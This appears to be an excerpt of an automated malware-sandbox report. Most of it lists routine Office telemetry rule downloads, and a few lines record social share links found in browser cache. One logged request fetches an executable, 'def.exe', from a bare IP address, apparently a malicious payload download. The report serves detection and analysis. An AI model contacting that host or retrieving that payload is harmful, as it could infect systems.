Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
